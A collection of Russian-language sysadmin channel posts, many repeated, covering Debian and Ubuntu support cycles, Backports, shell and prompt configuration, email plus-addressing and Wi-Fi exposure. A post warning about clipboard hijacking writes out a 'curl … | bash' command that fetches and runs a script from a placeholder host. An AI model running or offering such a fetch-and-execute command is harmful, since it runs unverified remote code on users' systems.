Пренебрегать этим ни в коем случае не стоит, потому что работающая, хоть и на верхнем пределе система охлаждения не будет иметь запаса прочности и может не справиться со своими задачами в аварийной ситуации.
👌16🔥10🥱6❤3👍2
Debian или Ubuntu
Нам достаточно часто задают вопрос: какой именно из этих дистрибутивов использовать для серверов? Вопрос не простой, так как обе системы сильно похожи и на первый взгляд мало чем отличаются друг от друга.
Но есть некоторые неочевидные тонкости, касающиеся релизного цикла и поддержки. Поэтому рассмотрим их подробнее.
1️⃣ Debian. Официально Debian не имеет строгого релизного цикла, так как основной упор команда разработчиков делает на качестве и выпуск новой версии дистрибутива производится тогда, когда он будет соответствовать внутренним стандартам качества, а не к определенной дате.
По факту дистрибутив придерживается двухлетнего цикла, но без строгих дат выпуска. Текущая версия Debian 12 была выпущена 10 июня 2023 года, дата выпуска очередной 13-й версии пока не объявлялась.
Перейдем к поддержке. Команда Debian оказывает поддержку выпущенной версии дистрибутива в течении 3 лет, в это время система получает обновления пакетов, не меняющие основную функциональность, исправление ошибок и обновления безопасности.
Также в течении этого срока может производиться бекпортирование новых функций и улучшений для поддержания актуальности и совместимости с оборудованием.
По истечении трех лет дистрибутив получает 2 года долгосрочной поддержки LTS в течении которой система получает только исправления критических багов и обновления безопасности.
Поддержка LTS осуществляется не командой Debian, а сообществом волонтеров при спонсировании компании Freexian. При этом уровень долгосрочной поддержки распространяется не на весь дистрибутив, а только на его часть, включающую наиболее важные и критические пакеты.
За пределами пятилетнего цикла доступны дополнительные пять лет коммерческой ELTS поддержки от компании Freexian, при этом уровень этой поддержки и состав поддерживаемых пакетов определяется самой компанией.
2️⃣ Ubuntu. Выпуски дистрибутива с долгосрочной поддержкой (LTS) происходят по строго определенному двухгодовому графику. Таким образом каждый апрель каждого четного года мы получаем новый выпуск системы.
Ubuntu LTS получает пятилетнюю поддержку от компании-разработчика, которая распространяется на весь дистрибутив и в течении этих пяти лет он будет получать обновления и улучшения пакетов, исправления ошибок и обновления безопасности.
Также в течении этих пяти лет может производиться бекпортирование новых функций и улучшений.
За пределами стандартной пятилетней поддержки доступна коммерческая поддержка ESM еще на пять лет, которая предоставляется также компанией-разработчиком и распространяется на весь дистрибутив. В течении этого времени он будет получать обновления безопасности и исправления критических багов.
Для некоммерческого использования любому желающему доступна подписка ESM на пять устройств. Для этого достаточно просто зарегистрироваться на портале ESM, никаких дополнительных проверок не производится.
👉 Таким образом, как мы видим, есть довольно существенная разница в релизном цикле и способах поддержки Debian и Ubuntu.
В первом случае отсутствует строгий релизный цикл и поддержка осуществляется по принципу 3 + 2, это означает что по истечении первых 3 лет дистрибутив фактически замораживается и начинает получать только обновления безопасности на критически важные пакеты (но не на весь дистрибутив).
Такой подход затрудняет планирование и поддержку в коммерческих средах, так как присутствует значительный элемент неопределенности.
Ubuntu, наоборот, имеет четкий релизный цикл и пять лет полноценной поддержки всего дистрибутива. Это позволяет спокойно планировать жизненный цикл систем на предприятии и упорядочить процессы обновления.
При необходимости можно продлит срок использования систем при помощи расширенной поддержки ESM, которая также распространяется на весь дистрибутив и предоставляется самим разработчиком (кроме того, ее гораздо проще получить, в т.ч. и не совсем честно).
Каких-либо выводов и рекомендаций мы делать не будем. Приведенной информации достаточно для того, чтобы каждый самостоятельно сделал свой выбор.
Нам достаточно часто задают вопрос: какой именно из этих дистрибутивов использовать для серверов? Вопрос не простой, так как обе системы сильно похожи и на первый взгляд мало чем отличаются друг от друга.
Но есть некоторые неочевидные тонкости, касающиеся релизного цикла и поддержки. Поэтому рассмотрим их подробнее.
1️⃣ Debian. Официально Debian не имеет строгого релизного цикла, так как основной упор команда разработчиков делает на качестве и выпуск новой версии дистрибутива производится тогда, когда он будет соответствовать внутренним стандартам качества, а не к определенной дате.
По факту дистрибутив придерживается двухлетнего цикла, но без строгих дат выпуска. Текущая версия Debian 12 была выпущена 10 июня 2023 года, дата выпуска очередной 13-й версии пока не объявлялась.
Перейдем к поддержке. Команда Debian оказывает поддержку выпущенной версии дистрибутива в течении 3 лет, в это время система получает обновления пакетов, не меняющие основную функциональность, исправление ошибок и обновления безопасности.
Также в течении этого срока может производиться бекпортирование новых функций и улучшений для поддержания актуальности и совместимости с оборудованием.
По истечении трех лет дистрибутив получает 2 года долгосрочной поддержки LTS в течении которой система получает только исправления критических багов и обновления безопасности.
Поддержка LTS осуществляется не командой Debian, а сообществом волонтеров при спонсировании компании Freexian. При этом уровень долгосрочной поддержки распространяется не на весь дистрибутив, а только на его часть, включающую наиболее важные и критические пакеты.
За пределами пятилетнего цикла доступны дополнительные пять лет коммерческой ELTS поддержки от компании Freexian, при этом уровень этой поддержки и состав поддерживаемых пакетов определяется самой компанией.
2️⃣ Ubuntu. Выпуски дистрибутива с долгосрочной поддержкой (LTS) происходят по строго определенному двухгодовому графику. Таким образом каждый апрель каждого четного года мы получаем новый выпуск системы.
Ubuntu LTS получает пятилетнюю поддержку от компании-разработчика, которая распространяется на весь дистрибутив и в течении этих пяти лет он будет получать обновления и улучшения пакетов, исправления ошибок и обновления безопасности.
Также в течении этих пяти лет может производиться бекпортирование новых функций и улучшений.
За пределами стандартной пятилетней поддержки доступна коммерческая поддержка ESM еще на пять лет, которая предоставляется также компанией-разработчиком и распространяется на весь дистрибутив. В течении этого времени он будет получать обновления безопасности и исправления критических багов.
Для некоммерческого использования любому желающему доступна подписка ESM на пять устройств. Для этого достаточно просто зарегистрироваться на портале ESM, никаких дополнительных проверок не производится.
👉 Таким образом, как мы видим, есть довольно существенная разница в релизном цикле и способах поддержки Debian и Ubuntu.
В первом случае отсутствует строгий релизный цикл и поддержка осуществляется по принципу 3 + 2, это означает что по истечении первых 3 лет дистрибутив фактически замораживается и начинает получать только обновления безопасности на критически важные пакеты (но не на весь дистрибутив).
Такой подход затрудняет планирование и поддержку в коммерческих средах, так как присутствует значительный элемент неопределенности.
Ubuntu, наоборот, имеет четкий релизный цикл и пять лет полноценной поддержки всего дистрибутива. Это позволяет спокойно планировать жизненный цикл систем на предприятии и упорядочить процессы обновления.
При необходимости можно продлит срок использования систем при помощи расширенной поддержки ESM, которая также распространяется на весь дистрибутив и предоставляется самим разработчиком (кроме того, ее гораздо проще получить, в т.ч. и не совсем честно).
Каких-либо выводов и рекомендаций мы делать не будем. Приведенной информации достаточно для того, чтобы каждый самостоятельно сделал свой выбор.
1👍45❤5🤡2🤔1
Некоторые особенности поддержки репозитория Backports в Debian и Ubuntu
Репозиторий Backports известен, пожалуй, каждому пользователю указанных систем. Он позволяет, при необходимости, устанавливать более свежие версии программ, не жертвуя общей стабильностью системы.
Не следует путать этот репозиторий с процессом бекпортирования новых функций и улучшений в основной дистрибутив. Это разные вещи. Давайте немного разберем этот вопрос.
Любой стабильный дистрибутив (в нашем случае Debian или Ubuntu LTS) ставит в основу стабильность окружения на протяжении всего срока поддержки. Это означает, что один раз настроив систему вы можете смело обновлять ее на протяжении всего срока поддержки не опасаясь, что обновления сломают всю логику работы системы.
Пакетная база стабильного дистрибутива замораживается незадолго до момента релиза и в дальнейшем все обновления пакетов сводятся к исправлениям и незначительным улучшениями, которые не меняют поведение пакета и не ломают обратную совместимость.
Реальный подход к этому вопросу зависит от дистрибутива, так в Debian в обновления попадают только незначительные улучшения, не меняющие основную функциональность и поведение пакета.
В Ubuntu подход более демократичный, если обновления не ломают обратную совместимость, то они будут добавлены в основной дистрибутив.
Но как быть если обновление пакета несет новую функциональность? Или его вообще не было на момент выпуска дистрибутива? А вот как раз для этого и есть репозиторий Backports.
С его помощью мы можем установить в текущий дистрибутив совершенно новые программы либо существенно обновленные версии старых, не подвергая угрозам его стабильность.
Это же хорошо? Да. Но с оговорками.
Вернемся к теме поддержки. У Debian это 3 + 2, когда первые три года дистрибутив получает поддержку в полном объеме от команды Debian, а последующие два года от сообщества LTS.
При этом репозиторий Backports, который является частью дистрибутива, не входит в список поддерживаемых сообществом LTS. Таким образом поддержка всего того, что вы установили из Backports заканчивается через три года, после чего вы не будете получать для этих пакетов ничего, включая обновления безопасности и исправления критических багов.
В Ubuntu поддержка дистрибутива, включая репозиторий Backports осуществляется на протяжении 5 лет.
И мы снова не будем делать никаких выводов и рекомендаций. Как говориться, информация к размышлению.
Репозиторий Backports известен, пожалуй, каждому пользователю указанных систем. Он позволяет, при необходимости, устанавливать более свежие версии программ, не жертвуя общей стабильностью системы.
Не следует путать этот репозиторий с процессом бекпортирования новых функций и улучшений в основной дистрибутив. Это разные вещи. Давайте немного разберем этот вопрос.
Любой стабильный дистрибутив (в нашем случае Debian или Ubuntu LTS) ставит в основу стабильность окружения на протяжении всего срока поддержки. Это означает, что один раз настроив систему вы можете смело обновлять ее на протяжении всего срока поддержки не опасаясь, что обновления сломают всю логику работы системы.
Пакетная база стабильного дистрибутива замораживается незадолго до момента релиза и в дальнейшем все обновления пакетов сводятся к исправлениям и незначительным улучшениями, которые не меняют поведение пакета и не ломают обратную совместимость.
Реальный подход к этому вопросу зависит от дистрибутива, так в Debian в обновления попадают только незначительные улучшения, не меняющие основную функциональность и поведение пакета.
В Ubuntu подход более демократичный, если обновления не ломают обратную совместимость, то они будут добавлены в основной дистрибутив.
Но как быть если обновление пакета несет новую функциональность? Или его вообще не было на момент выпуска дистрибутива? А вот как раз для этого и есть репозиторий Backports.
С его помощью мы можем установить в текущий дистрибутив совершенно новые программы либо существенно обновленные версии старых, не подвергая угрозам его стабильность.
Это же хорошо? Да. Но с оговорками.
Вернемся к теме поддержки. У Debian это 3 + 2, когда первые три года дистрибутив получает поддержку в полном объеме от команды Debian, а последующие два года от сообщества LTS.
При этом репозиторий Backports, который является частью дистрибутива, не входит в список поддерживаемых сообществом LTS. Таким образом поддержка всего того, что вы установили из Backports заканчивается через три года, после чего вы не будете получать для этих пакетов ничего, включая обновления безопасности и исправления критических багов.
В Ubuntu поддержка дистрибутива, включая репозиторий Backports осуществляется на протяжении 5 лет.
И мы снова не будем делать никаких выводов и рекомендаций. Как говориться, информация к размышлению.
👍16❤9🤔1
Как изменить командную оболочку Linux
Командная оболочка, она же интерпретатор командной строки – специальная программа, запускаемая при входе в систему и обеспечивающая для пользователя интерфейс командной строки.
Самой распространенной и популярной командной оболочкой в Linux является bash, но существуют и другие оболочки.
Начинающие пользователи редко задумываются над этим, до тех пор, пока не попадут в непонятную ситуацию.
Сегодня за советом обратился молодой коллега, он решил потренироваться в настройке веб-сервера и взял для этих целей бесплатную виртуалку у Cloud.ru о котором мы недавно писали.
Его «проблема» оказалась в том, что Linux там (а он установил Debian 12) какой-то непонятный, выглядит не так, стрелки не работают и вообще странно себя ведет. Он уже и систему переустановил, но ничего не помогает.
Любой опытный администратор Linux сразу же распознает симптомы и спросит какая командная оболочка установлена для пользователя. Проверить это можно командной:
В нашем случае ожидаемо получили ответ:
В Debian и Ubuntu данный файл является символической ссылкой на dash – минималистическую оболочку Debian Almquist shell портированную Almquist shell (ash) из NetBSD. Она очень легковесна, но не может похвастаться функциональностью и не является полностью POSIX-совместимой.
Вполне понятно, что, оказавшись в непривычной командной среде мой коллега растерялся и не сразу понял в чем дело.
Но этому горю легко помочь и установить в качестве командного интерпретатора привычный bash или что угодно другое.
Прежде всего ознакомимся со списком доступных командных оболочек:
В выводе вы получите что-то вроде:
Ничего иного в качестве командной оболочки указывать не следует иначе вы просто не сможете войти в систему.
Опытный пользователь заметит, что для многих оболочек присутствует два пути, ничего удивительного в этом нет, так как в современных системах каталог
Чтобы изменить командную оболочку используйте команду:
В данном случае мы установили себе оболочку bash. Обычный пользователь может изменить оболочку только себе, суперпользователь может сделать это для любого пользователя, например:
В данном случае указанная оболочка будет установлена пользователю user1. Чтобы изменения вступили в силу нужно выйти и войти обратно в систему.
Командная оболочка, она же интерпретатор командной строки – специальная программа, запускаемая при входе в систему и обеспечивающая для пользователя интерфейс командной строки.
Самой распространенной и популярной командной оболочкой в Linux является bash, но существуют и другие оболочки.
Начинающие пользователи редко задумываются над этим, до тех пор, пока не попадут в непонятную ситуацию.
Сегодня за советом обратился молодой коллега, он решил потренироваться в настройке веб-сервера и взял для этих целей бесплатную виртуалку у Cloud.ru о котором мы недавно писали.
Его «проблема» оказалась в том, что Linux там (а он установил Debian 12) какой-то непонятный, выглядит не так, стрелки не работают и вообще странно себя ведет. Он уже и систему переустановил, но ничего не помогает.
Любой опытный администратор Linux сразу же распознает симптомы и спросит какая командная оболочка установлена для пользователя. Проверить это можно командной:
echo $SHELL
В нашем случае ожидаемо получили ответ:
/bin/sh
В Debian и Ubuntu данный файл является символической ссылкой на dash – минималистическую оболочку Debian Almquist shell портированную Almquist shell (ash) из NetBSD. Она очень легковесна, но не может похвастаться функциональностью и не является полностью POSIX-совместимой.
Вполне понятно, что, оказавшись в непривычной командной среде мой коллега растерялся и не сразу понял в чем дело.
Но этому горю легко помочь и установить в качестве командного интерпретатора привычный bash или что угодно другое.
Прежде всего ознакомимся со списком доступных командных оболочек:
cat /etc/shells
В выводе вы получите что-то вроде:
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
Ничего иного в качестве командной оболочки указывать не следует иначе вы просто не сможете войти в систему.
Опытный пользователь заметит, что для многих оболочек присутствует два пути, ничего удивительного в этом нет, так как в современных системах каталог
/bin является символической ссылкой на /usr/bin и обе записи ведут в одно и тоже место.Чтобы изменить командную оболочку используйте команду:
chsh -s /bin/bash
В данном случае мы установили себе оболочку bash. Обычный пользователь может изменить оболочку только себе, суперпользователь может сделать это для любого пользователя, например:
chsh -s /bin/bash user1
В данном случае указанная оболочка будет установлена пользователю user1. Чтобы изменения вступили в силу нужно выйти и войти обратно в систему.
👍51❤3
Настраиваем цвета строки приглашения Bash
Часто встречающейся проблемой при работе с командной строкой в оболочке Bash является ее низкая информативность, не всегда можно сразу понять под каким пользователем мы работаем. На локальной или удаленной машине находимся.
Чтобы повысить информативность строки приглашения можно изменить цвет строки приглашения, например, выделив root красным цветом или выделив имя локальной системы цветом отличным от удаленных.
За формат строки приглашения отвечает переменная окружения PS1 и по умолчанию она имеет значение:
Где u – имя пользователя, h – имя хоста, w – текущий путь, а $ - символ приглашения.
В результате строка будет выглядеть так:
Для изменения внешнего вида нам доступны три параметра: формат символов, цвет текста и цвет фона.
Формат может принимать три значения:
▫️Нормальный текст – 0
▫️Жирный текст – 1
▫️Подчеркнутый текст – 4
Цвета текста / фона:
▫️Черный 30/40
▫️Красный 31/41
▫️Зеленый 32/42
▫️Желтый 33/43
▫️Голубой 34/44
▫️Фиолетовый 35/45
▫️Бирюзовый 36/46
▫️Белый 37/47
Для того чтобы задать цвет отдельных элементов применяется специальное форматирование, использующее символы \e в начале и m в конце.
Например, выделим имя пользователя и хост зеленым цветом, а путь сделаем синим, при этом двоеточие и символ приглашение раскрашивать не будем:
Сам цвет задает конструкция:
Формат текста задает 01, а его цвет – 32, т.е. жирный зеленый. Если мы хотим еще изменить фон, то добавляем туда еще одно значение:
В нашем случае добавили еще желтый фон. В каком порядке перечислять параметры не имеет значения, так как они отличаются для разных элементов.
Конструкция
Сбрасывает цвет и формат элементов на дефолтные.
Так, например, если мы уберем такую конструкцию перед двоеточием, то оно тоже окрасится в заданный перед этим цвет:
Проверить что получилось можно сразу, введя указанную строку в консоль и нажав Enter. Таким образом можно тонко настроить цвета в соответствии со своими потребностями.
Если же вы люто накосячили, то не отчаивайтесь, введите
И все снова станет как было. Либо просто выйдите из консоли.
Чтобы выбранное вами оформление автоматически применялось при входе в систему добавьте полученную строку в файл .bashrc выбранного пользователя.
Часто встречающейся проблемой при работе с командной строкой в оболочке Bash является ее низкая информативность, не всегда можно сразу понять под каким пользователем мы работаем. На локальной или удаленной машине находимся.
Чтобы повысить информативность строки приглашения можно изменить цвет строки приглашения, например, выделив root красным цветом или выделив имя локальной системы цветом отличным от удаленных.
За формат строки приглашения отвечает переменная окружения PS1 и по умолчанию она имеет значение:
PS1='\u@\h:\w\$ '
Где u – имя пользователя, h – имя хоста, w – текущий путь, а $ - символ приглашения.
В результате строка будет выглядеть так:
user@host:/home/user$
Для изменения внешнего вида нам доступны три параметра: формат символов, цвет текста и цвет фона.
Формат может принимать три значения:
▫️Нормальный текст – 0
▫️Жирный текст – 1
▫️Подчеркнутый текст – 4
Цвета текста / фона:
▫️Черный 30/40
▫️Красный 31/41
▫️Зеленый 32/42
▫️Желтый 33/43
▫️Голубой 34/44
▫️Фиолетовый 35/45
▫️Бирюзовый 36/46
▫️Белый 37/47
Для того чтобы задать цвет отдельных элементов применяется специальное форматирование, использующее символы \e в начале и m в конце.
Например, выделим имя пользователя и хост зеленым цветом, а путь сделаем синим, при этом двоеточие и символ приглашение раскрашивать не будем:
PS1='\[\e[01;32m\]\u@\h\[\e[m\]:\[\e[01;34m\]\w\[\e[m\]\$ '
Сам цвет задает конструкция:
\[\e[01;32m\]
Формат текста задает 01, а его цвет – 32, т.е. жирный зеленый. Если мы хотим еще изменить фон, то добавляем туда еще одно значение:
\[\e[01;32;43m\]
В нашем случае добавили еще желтый фон. В каком порядке перечислять параметры не имеет значения, так как они отличаются для разных элементов.
Конструкция
\[\e[m\]
Сбрасывает цвет и формат элементов на дефолтные.
Так, например, если мы уберем такую конструкцию перед двоеточием, то оно тоже окрасится в заданный перед этим цвет:
PS1='\[\e[01;32m\]\u@\h:\[\e[01;34m\]\w\[\e[m\]\$ '
Проверить что получилось можно сразу, введя указанную строку в консоль и нажав Enter. Таким образом можно тонко настроить цвета в соответствии со своими потребностями.
Если же вы люто накосячили, то не отчаивайтесь, введите
PS1='\u@\h:\w\$ '
И все снова станет как было. Либо просто выйдите из консоли.
Чтобы выбранное вами оформление автоматически применялось при входе в систему добавьте полученную строку в файл .bashrc выбранного пользователя.
👍45🥱4❤1🔥1
🎮
Как защитить свой digital-продукт?
Наткнулись на интересный вебинар от Futura Digital, которая специализируется на защите интеллектуальной собственности и digital-праве для IT компаний зарубежом.
Тема особенно актуальна для тех, кто работает с digital-продуктами и брендами. 👨🚀 “Битва за названия и образы: зачем IT/GameDev компаниям товарные знаки?”
📌 О чём вебинар:
— Почему авторское право не всегда вас защитит;
— Почему даже Google нельзя без товарного знака;
— Как компания 5 лет сражалась с недобросовестным конкурентом;
— И как связаны Moschino и Sims.
Кому будет полезно:
— GameDev и Digital-компаниям
— Стартапам и продакт-тимам
— IT-основателям, CPO и юристам
— Всем, кто выводит продукт на рынок и хочет избежать проблем с брендом
Спикеры:
— Александра Курдюмова, Co-Founder, старший партнёр
— Екатерина Ковалева, старший юрист IP-практики
— Анна Ющенко, юрист IP-практики
📅 9 июля, 16:00 (Дубай)
🔗 Регистрация – https://forms.gle/UBY3jQ1cXFyYFbFx5
Берите на заметку канал Futura Digital — особенно если вы работаете на международных рынках и хотите держать руку на пульсе в вопросах IP, брендов и legal-tech.
#реклама
О рекламодателе
Как защитить свой digital-продукт?
Наткнулись на интересный вебинар от Futura Digital, которая специализируется на защите интеллектуальной собственности и digital-праве для IT компаний зарубежом.
Тема особенно актуальна для тех, кто работает с digital-продуктами и брендами. 👨🚀 “Битва за названия и образы: зачем IT/GameDev компаниям товарные знаки?”
📌 О чём вебинар:
— Почему авторское право не всегда вас защитит;
— Почему даже Google нельзя без товарного знака;
— Как компания 5 лет сражалась с недобросовестным конкурентом;
— И как связаны Moschino и Sims.
Кому будет полезно:
— GameDev и Digital-компаниям
— Стартапам и продакт-тимам
— IT-основателям, CPO и юристам
— Всем, кто выводит продукт на рынок и хочет избежать проблем с брендом
Спикеры:
— Александра Курдюмова, Co-Founder, старший партнёр
— Екатерина Ковалева, старший юрист IP-практики
— Анна Ющенко, юрист IP-практики
📅 9 июля, 16:00 (Дубай)
🔗 Регистрация – https://forms.gle/UBY3jQ1cXFyYFbFx5
Берите на заметку канал Futura Digital — особенно если вы работаете на международных рынках и хотите держать руку на пульсе в вопросах IP, брендов и legal-tech.
#реклама
О рекламодателе
👍3🔥1
Очередное прибавление в коллекции
Вчера в нашу коллекцию попал новый интересный экземпляр - Celeron D 320, сам процессор, с большой вероятностью, живой. Но проверить его не на чем, поэтому пусть пополняет ряды.
Чем интересна именно эта модель? Во-первых, это последний Celeron для Socket 478, все следующие модели выпускались уже для LGA 775. Напомним, что Socket 478 – это последний разъем Intel подразумевающий наличие у процессора ножек, насчет которых по выходу LGA 775 было сломано немало копий.
Во-вторых, это первая «номерная» серия процессоров Celeron, хотя сам процессор оформлен еще в «старом» стиле. На время его выпуска – 2 квартал 2004 года – как раз пришелся закат эпохи «гонки гигагерцев».
Если до этого производительность процессора прямо зависела от его тактовой частоты, то по мере роста частот начали проявляться физические ограничения, делающие дальнейший такой рост невозможным, во всяком случае на уровне текущего технологического процесса.
Наступала новая эпоха – многоядерности и перехода на 64-битные вычисления. Но все это было еще впереди, а пока частота как однозначный критерий оценки производительности себя изжила и понадобились новые подходы.
Первыми на этой стезе были процессоры от AMD, которые при более низких рабочих частотах использовали более высокие индексы, намекая на уровне каких процессоров Intel находится их производительность.
Но Intel решил полностью отказаться от привязки к частотам и ввести некие сторонние индексы, по принципу больше -лучше.
Таким образом данный процессор получил наименование Celeron D 320, хотя на крышке все оставалось по-старому и мы можем видеть там тактовую частоту, размер кеша и частоту шины.
Но это еще не все. Все Celeron на базе Pentium 4 (ядра Willamette и Northwood) были очень сильно урезанными (кеш 128 КБ и шина 400 МГц), что делало их практически беспомощными по сравнению с конкурентами.
Действительно, эти «камни» влегкую обходили не только сравнимые по цене процессоры AMD, но и свои же собраться из семейства Pentium III на ядре Tualatin с гораздо более скромными тактовыми частотами.
Новый Celeron наконец получил вполне конкурентное ядро Prescott, 256 КБ кеша L2 и шину 533 МГц, что сделало его очень привлекательным в своем сегменте, с учетом того, что стоимость процессоров осталась на прежнем уровне.
Вот такая интересная история стоит за этим скромным, по сегодняшним меркам, процессором. Можно сказать – целая эпоха. А казалось, что это было только вчера…
Вчера в нашу коллекцию попал новый интересный экземпляр - Celeron D 320, сам процессор, с большой вероятностью, живой. Но проверить его не на чем, поэтому пусть пополняет ряды.
Чем интересна именно эта модель? Во-первых, это последний Celeron для Socket 478, все следующие модели выпускались уже для LGA 775. Напомним, что Socket 478 – это последний разъем Intel подразумевающий наличие у процессора ножек, насчет которых по выходу LGA 775 было сломано немало копий.
Во-вторых, это первая «номерная» серия процессоров Celeron, хотя сам процессор оформлен еще в «старом» стиле. На время его выпуска – 2 квартал 2004 года – как раз пришелся закат эпохи «гонки гигагерцев».
Если до этого производительность процессора прямо зависела от его тактовой частоты, то по мере роста частот начали проявляться физические ограничения, делающие дальнейший такой рост невозможным, во всяком случае на уровне текущего технологического процесса.
Наступала новая эпоха – многоядерности и перехода на 64-битные вычисления. Но все это было еще впереди, а пока частота как однозначный критерий оценки производительности себя изжила и понадобились новые подходы.
Первыми на этой стезе были процессоры от AMD, которые при более низких рабочих частотах использовали более высокие индексы, намекая на уровне каких процессоров Intel находится их производительность.
Но Intel решил полностью отказаться от привязки к частотам и ввести некие сторонние индексы, по принципу больше -лучше.
Таким образом данный процессор получил наименование Celeron D 320, хотя на крышке все оставалось по-старому и мы можем видеть там тактовую частоту, размер кеша и частоту шины.
Но это еще не все. Все Celeron на базе Pentium 4 (ядра Willamette и Northwood) были очень сильно урезанными (кеш 128 КБ и шина 400 МГц), что делало их практически беспомощными по сравнению с конкурентами.
Действительно, эти «камни» влегкую обходили не только сравнимые по цене процессоры AMD, но и свои же собраться из семейства Pentium III на ядре Tualatin с гораздо более скромными тактовыми частотами.
Новый Celeron наконец получил вполне конкурентное ядро Prescott, 256 КБ кеша L2 и шину 533 МГц, что сделало его очень привлекательным в своем сегменте, с учетом того, что стоимость процессоров осталась на прежнем уровне.
Вот такая интересная история стоит за этим скромным, по сегодняшним меркам, процессором. Можно сказать – целая эпоха. А казалось, что это было только вчера…
👍44❤8😢5🥱4🫡4
Неочевидные угрозы из буфера обмена
Можно без преувеличения сказать - копипастить любят все, особенно длинные команды.
Но не все задумываются о неочевидных угрозах данного метода.
Дело в том, что в буфер обмена может попасть совсем не то, что вы видите на экране. Я думаю все сталкивались с подобным, когда вы копируете абзац, а в буфере к нему довеском оказывается:
А дальше, пока вы будете смотреть в экран и пытаться понять что происходит, произойти может всякое.
И это не страшилки, а вполне реальный сценарий, который применялся на практике для заражения систем вредоносным ПО.
Какой отсюда вывод? Не копипастить? Ну это не реально. А вот не тянуть сразу из браузера в терминал - это вполне по силам, чтобы понять что именно вы скопировали достаточно вставить содержимое буфера в любой текстовый редактор.
Можно без преувеличения сказать - копипастить любят все, особенно длинные команды.
Но не все задумываются о неочевидных угрозах данного метода.
Дело в том, что в буфер обмена может попасть совсем не то, что вы видите на экране. Я думаю все сталкивались с подобным, когда вы копируете абзац, а в буфере к нему довеском оказывается:
Информация с сайта https://example.comНо это вполне безобидная штука, а ведь вместо обычной и безобидной
apt update
В буфере может оказаться:curl -s https://example.com/script.sh | bash
Да еще и с символом переноса строки в конце, что автоматически запустит команду на выполнение сразу же после вставки.А дальше, пока вы будете смотреть в экран и пытаться понять что происходит, произойти может всякое.
И это не страшилки, а вполне реальный сценарий, который применялся на практике для заражения систем вредоносным ПО.
Какой отсюда вывод? Не копипастить? Ну это не реально. А вот не тянуть сразу из браузера в терминал - это вполне по силам, чтобы понять что именно вы скопировали достаточно вставить содержимое буфера в любой текстовый редактор.
👍73💯16❤9😁3
Как быстро и бесплатно получить неограниченное количество виртуальных E-mail?
Все очень просто. Многие почтовые сервера позволяют использовать следующую конструкцию:
Для чего это нужно? Например, для тестирования, когда надо проверить тот же механизм регистрации.
Или отследить кто сливает информацию. При регистрации на новом сайте просто добавьте через + новую метку. И если на этот адрес пойдет спам, то вы сразу будете знать кто слил.
Еще один вариант использования, это указывать метки в адресе отправителя. Удобно когда много служб шлют отчеты, логи и т.п. через один и тот же технический ящик,
Данную возможность поддерживают почтовые службы Яндекса, Майл.ру и Gmail. Outlook - нет.
Все очень просто. Многие почтовые сервера позволяют использовать следующую конструкцию:
[email protected]При этом все, что после знака плюс адресом не считается, но передается в заголовках. Письмо же будет направлено на адрес:
[email protected]Таким образом без всяких настроек со стороны сервера вы можете получить неограниченное количество адресов ведущих на свой почтовый ящик.
Для чего это нужно? Например, для тестирования, когда надо проверить тот же механизм регистрации.
Или отследить кто сливает информацию. При регистрации на новом сайте просто добавьте через + новую метку. И если на этот адрес пойдет спам, то вы сразу будете знать кто слил.
Еще один вариант использования, это указывать метки в адресе отправителя. Удобно когда много служб шлют отчеты, логи и т.п. через один и тот же технический ящик,
Данную возможность поддерживают почтовые службы Яндекса, Майл.ру и Gmail. Outlook - нет.
👍45🔥10❤2
Насколько вреден Wi-Fi
В комментариях был задан подобный вопрос, и он не является праздным, особенно если вы используете оборудование Mikrotik или альтернативные прошивки, скажем, OpenWRT, позволяющие поднять мощность передатчика выше разрешенного предела.
Напомним, что законодательно установленное ограничения для Wi-Fi передатчиков это 100 мВт для диапазона 2,4 ГГц и 200 мВт для 5 ГГц.
Данные ограничения накладываются на эквивалентную изотропно-излучаемую мощность (ЭИИМ), которая рассчитывается с учетом коэффициента усиления антенны.
Следует понимать, что сама антенна является пассивным устройством и не может увеличивать мощность сигнала, но она перераспределяет излучение в пространстве таким образом, что уровень излучения в определенной точке пространства становится аналогичным излучению передатчика более высокой мощности.
Если у нас есть передатчик с мощностью 20 дБм (100 мВт) и антенна с усилением 3 дБи, то ЭИИМ такой системы будет 200 мВт (23 дБм), для передатчика с мощностью 1 Вт ЭИИМ с такой антенной составит 2 Вт.
Таким образом для оборудования имеющего мощность передатчика 1 Вт и антенну с усилением 3-4 дБи мы можем смело получить ЭИИМ 2 - 2,5 Вт. И такое оборудование есть, например, некоторые модели Mikrotik (подчеркнем – именно некоторые, не все).
Закономерный вопрос- насколько это вредно. Мы нашли исследование Роспотребнадзора для домашних роутеров диапазона 2,4 ГГц, которое показало, что излучаемая ими мощность не превышает допустимой на любых расстояниях.
Для оценки воздействия излучения на организм человека используется показатель плотности потока энергии (ППЭ), который измеряется в мкВт/см2, предельно допустимым уровнем (ПДУ) для граждан является 10 мкВт/см2, для работников сферы связи – 18 мкВт/см2.
Максимальное значение ППЭ при котором допускается находиться без средств индивидуальной защиты – 1000 мкВт/см2.
Для расчета времени пребывания в местах с превышением ПДУ ППЭ существует еще один показатель - энергетическая экспозиция потока плотности энергии, предельное значение которой 200 мкВт/см2 в час.
❗️ Т.е. при значении ППЭ в 1000 мкВт/см2 там можно находиться не более 12 минут.
Все это хорошо, но как связать эти значения с мощностью роутера? Мы выполнили упрощенный расчет ППЭ, который показал цифры близкие к значениям полученным Роспотребнадзором и которые, на наш взгляд можно использовать для примерной оценки.
На расстоянии 50 см и ближе ПДУ ППЭ превышают передатчики с мощностью от 300 мВт выше, но если отойти уже на метр, то превышение нормы будет только у передатчика в 2 Вт.
👉 Общее правило просто – ППЭ падает пропорционально квадрату расстояния от антенны передатчика и если не сидеть с ним в обнимку, то даже серьезно превышающие законодательные нормы передатчики не окажут на организм заметного вреда.
При этом наша формула не учитывала наличия препятствий на пути сигнала, многолучевого распространения и отражений. На практике это может как снизить, так и увеличить ППЭ в конкретной точке пространства, но, в общем и целом, вычисления остаются справедливы.
В комментариях был задан подобный вопрос, и он не является праздным, особенно если вы используете оборудование Mikrotik или альтернативные прошивки, скажем, OpenWRT, позволяющие поднять мощность передатчика выше разрешенного предела.
Напомним, что законодательно установленное ограничения для Wi-Fi передатчиков это 100 мВт для диапазона 2,4 ГГц и 200 мВт для 5 ГГц.
Данные ограничения накладываются на эквивалентную изотропно-излучаемую мощность (ЭИИМ), которая рассчитывается с учетом коэффициента усиления антенны.
Следует понимать, что сама антенна является пассивным устройством и не может увеличивать мощность сигнала, но она перераспределяет излучение в пространстве таким образом, что уровень излучения в определенной точке пространства становится аналогичным излучению передатчика более высокой мощности.
